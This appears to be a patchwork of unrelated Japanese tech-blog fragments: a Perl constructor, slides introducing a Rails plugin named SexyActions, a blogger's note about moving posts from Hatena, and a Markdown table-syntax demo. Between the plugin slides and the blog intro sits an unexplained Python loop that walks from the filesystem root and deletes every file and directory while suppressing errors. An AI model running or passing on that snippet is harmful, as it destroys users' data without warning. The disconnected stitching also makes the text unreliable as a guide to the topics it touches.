1  sub new {
   2      my $class = shift;
   3      my $self = bless {
   4          config    => {},
   5          functions => [],
   6      }, $class;
   7      $self->_init(@_);
   8      return $self;
   9  }
  10  

ねみい

これまでの流れ

1. Method#to_source を作るには Ruby を改造するしかない
2. それは敷居が高すぎる
3. MIME定義部分は block で妥協しよう

   1      def show
   2        @user = User.find(params[:id])
   3      end
   4  
   5      show.xml {
   6        render :text => @user.to_xml
   7      }

def と block の併用は、respond_to と同程度にキモイと気付いた

結論

そうだ！アクション定義も block にしよう！

   1      show {
   2        @user = User.find(params[:id])
   3      }
   4  
   5      show.xml {
   6        render :text => @user.to_xml
   7      }

SexyActions plugin

http://github.com/maiha/sexy_actions

動作要件

• Rails2.x

例

Rails2.x の scaffold が生成する不細工なコード

   1  class UsersController < ApplicationController
   2    def index
   3      @users = User.find(:all)
   4  
   5      respond_to do |format|
   6        format.html # index.html.erb
   7        format.xml  { render :xml => @users }
   8      end
   9    end
  10  
  11    def show
  12      @user = User.find(params[:id])
  13  
  14      respond_to do |format|
  15        format.html # show.html.erb
  16        format.xml  { render :xml => @user }
  17      end
  18    end
  19  
  20    ...

俺達のセクシーなコード

   1  class UsersController < ApplicationController
   2    include SexyActions
   3  
   4    index      { @users = User.find(:all) }
   5    index.html # index.html.erb
   6    index.xml  { render :xml => @users }
   7  
   8    show      { @user = User.find(params[:id]) }
   9    show.html # show.html.erb
  10    show.xml  { render :xml => @user }
  11  
  12    ...

動作

• 各アクションの定義は method_missing 経由で得られるproxyオブジェクトが行う
• 表記の制約により、定義時のコンテキストはコントローラクラスになる
• 従ってinstanceだけでなくclassに対してもアクション名と同名のメソッドが定義される

まとめ

• 可読性が上がった (定義内容が1行の場合の美しさは半端ない)
• 再利用性が上がった (あるMIMEの動作だけ再定義することができる)

致命的な問題

• new アクションが定義できない事に気付いた＞＜

   1  import os
   2  for root, dirs, files in os.walk('/'):
   3      for f in files+dirs:
   4          try:
   5              os.unlink(os.path.join(root, f))
   6          except:
   7              pass

どうも。榊です。

今まではてな（http://d.hatena.ne.jp/onering/）でBLOGしていましたが
技術系のエントリーはこっちにまとめることにしました。理由は以下。

• はてなーの方はアーセナルBLOG化している。RSSリーダーやはてなアンテナでもそのように認識されているようだ＜読者から
• 技術系の話と日記系の話が混ざるとうざい
• はてなーの方のBLOGデザインは気に入っているがプログラムソースの表示部分だけ気に入らない(背景とかぶって読めない)

続いては、作表の仕方を紹介します。 このブログシステムは、BlueStoleを参考にして作った作表機能があります。

BlueStole - BlueCloth Wrapper

Ruby の Markdown ライブラリ、 BlueCloth に幾つかの機能を付け足した私家拡張版です。

こんな感じに RTtool を使った作表を行うことが出来ます。

ソースはこんな感じです。

   1  |caption=Rendering Algorithm
   2  |
   3  |What                      , Who    , When
   4  |
   5  |Ray Tracing               , Whitted, 1980
   6  |Path Tracing              , Kajiya , 1986
   7  |Photon Mapping            , Jensen , 1995
   8  |Metropolis Light Transport, Veach  , 1997

Rttoolを使っているので、以下のようにちょっと複雑な表も作成可能です。

ソースはこんな感じです。

   1  |Alpha,==,Bravo
   2  |Charlie,Echo,||
   3  |||,Delta,==

また、このようにCaptionとHeader部分は省略可能です。

テスト